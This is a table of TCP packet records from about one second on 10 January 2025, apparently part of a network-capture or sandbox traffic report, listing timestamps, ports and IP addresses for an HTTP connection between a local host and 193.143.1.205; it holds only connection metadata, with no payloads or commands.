Jan 10, 2025 18:10:57.779535055 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.779546976 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.779558897 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.779572010 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.779573917 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.779583931 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.779597044 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.779608965 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.779633999 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.779639959 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.779647112 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.779660940 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.779665947 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.779673100 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.779697895 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.780391932 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.780414104 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.780426979 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.780436039 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.780452013 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.780463934 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.780466080 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.780497074 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.783351898 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.785828114 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.785839081 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.785892963 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.789657116 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.823416948 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.833693027 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.833704948 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.833715916 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.833734989 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.833746910 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.833751917 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.833760023 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.833817959 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.867608070 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867626905 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867640018 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867650032 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867662907 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867670059 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.867695093 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.867732048 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867743015 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867753983 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867764950 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867773056 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.867786884 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.867862940 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867885113 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867897034 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867923975 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.867927074 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867938995 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.867947102 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.867980003 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.868002892 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868014097 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868025064 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868037939 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868047953 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868065119 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.868094921 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.868324995 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868347883 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868354082 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868360996 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868361950 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868366003 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868370056 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.868386030 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868391991 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.868400097 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868433952 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868446112 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868453026 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.868457079 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868470907 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.868472099 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868485928 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.868880987 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868927002 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.868982077 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.868994951 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.869008064 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.869019032 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.869028091 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.869030952 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.869062901 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.874406099 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.878789902 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.900475025 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900489092 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900509119 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900521040 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900521040 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.900532961 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900549889 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.900590897 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.900614977 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900624990 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900650024 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.900787115 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900810957 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900825024 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900835991 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900847912 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900850058 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.900877953 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.900922060 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900957108 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.900986910 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.900998116 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901011944 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901029110 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901091099 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901103020 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901117086 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901123047 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901129007 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901149035 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901262045 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901318073 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901329041 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901343107 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901354074 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901355028 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901381016 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901527882 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901540041 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901551962 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901563883 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901568890 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901577950 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901596069 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901613951 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901815891 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901834011 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901846886 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901859045 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901865959 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901871920 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901884079 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901896000 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901899099 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901906967 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901918888 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901932001 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901936054 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901949883 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.901956081 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.901968002 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.902194977 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.902216911 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.902229071 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.907344103 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.912699938 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.924406052 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.924448967 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.924563885 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.924577951 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.924591064 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.924603939 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.924612999 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.924618006 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.924643993 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.939095974 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.958147049 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.958168030 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.958205938 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.960376978 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.960421085 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.961025953 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.963366032 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.963380098 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.963404894 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.965651035 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.965688944 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.970940113 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.970953941 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.970966101 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.970993996 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.971652985 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.971666098 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.971693993 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.975745916 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.975759029 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.975769997 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.975795984 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.975819111 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.976362944 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.976376057 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.976419926 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.980622053 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.980635881 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.980680943 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.981067896 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.981081963 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.981123924 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.986073971 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.986090899 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.986102104 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.986145020 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.986618042 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.986629963 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.986670971 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.990866899 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.990879059 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.990912914 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.991368055 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.991381884 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.991408110 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.995596886 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.995611906 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.995649099 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.996119976 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.996134996 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.996148109 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.996226072 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.996226072 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.000444889 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.000467062 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.000516891 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.000957012 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.000969887 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.001015902 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.005165100 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.005201101 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.005254984 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.005661964 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.005676031 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.005687952 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.005717039 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.009888887 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.009902954 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.009915113 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.009937048 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.009957075 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.010387897 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.010401964 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.010413885 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.010443926 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.014616966 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.014632940 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.014643908 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.014669895 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.014695883 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.015101910 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.015114069 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.015125036 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.015162945 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.019368887 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.019382954 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.019396067 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.019411087 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.019448042 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.019823074 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.019838095 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.019893885 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.024072886 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.024087906 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.024142981 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.024538994 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.024552107 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.024564981 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.024609089 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.028844118 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.028856993 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.028929949 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.029251099 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.029266119 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.029275894 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.029294014 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.029320955 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.033571005 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.033585072 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.033629894 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.033978939 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.033993006 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.034040928 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.038295984 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.038316965 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.038331985 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.038364887 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.038702965 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.038716078 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.038747072 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.043148041 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.043162107 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.043173075 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.043194056 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.043216944 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.043405056 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.043418884 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.043467999 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.047894955 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.047914982 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.047928095 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.047959089 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.048120975 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.048134089 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.048146009 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.048162937 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.048188925 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.052608013 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.052622080 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.052660942 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.052829981 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.052844048 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.052855015 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.052894115 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.063173056 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.063186884 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.063221931 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.069216013 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.069231033 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.069255114 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.069262981 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.069268942 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.069268942 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.069276094 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.069298983 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.069334030 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.073930979 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.073951960 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.073965073 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.073977947 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.073983908 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.074008942 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.078624010 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.078645945 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.078658104 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.078670025 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.078681946 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.078687906 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.078701019 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.078731060 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.084588051 CET	80	49721	193.143.1.205	192.168.2.7
